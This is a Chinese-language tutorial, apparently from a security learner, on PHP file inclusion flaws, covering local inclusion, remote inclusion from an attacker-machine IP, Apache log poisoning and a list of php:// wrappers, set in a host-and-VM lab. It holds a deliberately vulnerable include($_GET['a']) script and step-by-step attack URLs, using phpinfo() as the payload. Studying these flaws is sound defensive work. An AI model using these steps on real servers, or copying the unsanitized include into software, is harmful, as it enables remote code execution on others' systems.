什么是文件包含?
下图很好的表达了"文件包含"的含义,图1中(a)为文件f1.c,它有一个#include “f2.c”命令,后面跟着文件内容,记为程序1.图1中(b)为另一个文件f2.c,文件内容以程序2表示。在预编译时,对要#include命令进行"文件包含"处理,将f2.c的全部内容复制插入到#include “f2.c” 命令处,即f2.c被包含到f1.c中,得到如图1中(c)所示的结果。在编译时,将"包含"以后的f1.c(如图1中(c))作为一个源文件进行编译处理。
文件包含:开发人员通常会把重复使用的函数写到单个文件中,使用时直接调用此文件,而无需再次编写,这种调用文件的过程一般称为包含。
一、本地文件包含(无视后缀)
创建:include.php
<?php include("print.php");?>
再创建:print.php
<?php echo "hello world";?>
再访问浏览器访问include.php
试着去修改print.txt扩展名为:jpg、rar、xxx发现均可解析,只要文件内容符合PHP语法规范,任何扩展名都可以被PHP解析。
二、远程文件包含Getshell
首先确定自己的目标机和攻击机,这里是本机为攻击机,虚拟机为目标机。我们要先确定目标机PHPstudy上如图已经开启
编写include.php并上传到网站根目录
<?php include($_GET['a']);?>
然后在本地网站根目录新建phpinfo.php
<?php phpinfo();?>
然后进行远程包含,打开浏览器输入
http://目标机ip/include.php?a=http://攻击机ip/phpinfo.php
三、apache日志文件包含
找到apache安装目录下的conf里面的httpd.conf配置文件找到 CustomLog "logs/access.log" common 去掉前面的#号
然后访问http://本机ip/<?php phpinfo();?>
再去寻找日志
再利用Burp进行抓包
将被编码的符号改回去
再发送后去查看日志。
访问:http://本机ip/include.php?a=E:\phpstudy_pro\Extensions\Apache2.4.39\logs\access.log
四、php伪协议
1、php://input
2、filter://
3.data://